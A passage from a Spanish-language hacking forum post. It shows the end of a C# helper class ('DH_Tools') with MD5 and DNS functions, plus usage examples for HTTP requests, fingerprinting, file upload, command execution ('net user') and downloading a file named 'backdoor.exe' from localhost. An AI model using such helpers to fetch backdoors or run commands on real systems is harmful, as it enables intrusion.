  359.            StringBuilder guardar = new StringBuilder();
  360.            for (int numnow = 0; numnow < infovalor.Length; numnow++)
  361.            {
  362.                guardar.Append(infovalor[numnow].ToString("x2"));
  363.            }
  364.            return guardar.ToString();
  365.        }
  366.  
  367.        public string md5file(string file)
  368.        {
  369.  
  370.            string code = "";
  371.  
  372.            try
  373.            {
  374.                var gen = MD5.Create();
  375.                var ar = File.OpenRead(file);
  376.                code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();
  377.  
  378.            }
  379.            catch
  380.            {
  381.                code = "Error";
  382.            }
  383.  
  384.            return code;
  385.        }
  386.  
  387.        public string getip(string host)
  388.        {
  389.            string code = "";
  390.            try
  391.            {
  392.                IPAddress[] find = Dns.GetHostAddresses(host);
  393.                code = find[0].ToString();
  394.            }
  395.            catch
  396.            {
  397.                code = "Error";
  398.            }
  399.            return code;
  400.        }
  401.  
  402.    }
  403. }
  404.  
  405. // The End ?
  406.  

Con los siguientes ejemplos de uso :

Código
  1. namespace clasewebtools
  2. {
  3.    public partial class Form1 : Form
  4.    {
  5.        public Form1()
  6.        {
  7.            InitializeComponent();
  8.        }
  9.  
  10.        private void button1_Click(object sender, EventArgs e)
  11.        {
  12.  
  13.            // Examples
  14.  
  15.            DH_Tools tools = new DH_Tools();
  16.  
  17.            // The GET Method
  18.            //string code = tools.toma("http://www.petardas.com/index.php");
  19.  
  20.            // The POST Method
  21.            //string code = tools.tomar("http://localhost/pos.php", "probar=test&yeah=dos&control=Now");
  22.  
  23.            // HTTP Status code number
  24.            //string code = tools.respondecode("http://www.petardas.com/index.php");
  25.  
  26.            // HTTP FingerPrinting
  27.            //string code = tools.httpfinger("http://www.petardas.com/index.php");
  28.  
  29.            // Read File
  30.            //string code = tools.openword("C:/test.txt");
  31.  
  32.            // Write File
  33.            //tools.savefile("test.txt","yeah");
  34.  
  35.            // GET OS
  36.            //string code = tools.getos();
  37.  
  38.            /* Remove duplicates from a List
  39.            
  40.             List<string> arrays = new List<string> { "test", "test", "test", "bye", "bye" };
  41.  
  42.             List<string> limpio = tools.repes(arrays);
  43.  
  44.             foreach (string text in limpio)
  45.             {
  46.                 richTextBox1.AppendText(text + Environment.NewLine);
  47.             }
  48.            
  49.             */
  50.  
  51.            /* Cut urls from a List
  52.            
  53.             List<string> lista = new List<string> { "http://localhost1/sql.php?id=adsasdsadsa", "http://localhost2/sql.php?id=adsasdsadsa",
  54.             "http://localhost3/sql.php?id=adsasdsadsa"};
  55.  
  56.             List<string> cortar = tools.cortar(lista);
  57.                            
  58.             foreach (string test in cortar)
  59.             {
  60.                 richTextBox1.AppendText(test + Environment.NewLine);
  61.             }
  62.            
  63.             */
  64.  
  65.            // Download File
  66.            //string code = tools.download("http://localhost/backdoor.exe", "backdoor.exe");
  67.  
  68.            // Upload File
  69.            //string code = tools.upload("http://localhost/uploads/upload.php", "c:/test.txt");
  70.  
  71.            // Get Basename from a path
  72.            //string code = tools.basename("c:/dsaaads/test.txt");
  73.  
  74.            // Execute commands
  75.            //string code = tools.console("net user");
  76.  
  77.            // URI Split
  78.            // Options : host,port,path,file,query
  79.            //string code = tools.urisplit("http://localhost/dsadsadsa/sql.php?id=dsadasd","host");
  80.  
  81.            // MD5 Hash Generator
  82.            //string code = convertir_md5("123");
  83.  
  84.            // Get MD5 of file
  85.            //string code = tools.md5file("c:/test.txt");
  86.  
  87.            // Get IP address from host name
  88.            //string code = tools.getip("www.petardas.com");
  89.  
  90.        }
  91.    }
  92. }
  93.  
Páginas: 1 2 3 4 5 6 7 8 9 10 11 [12] 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ... 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines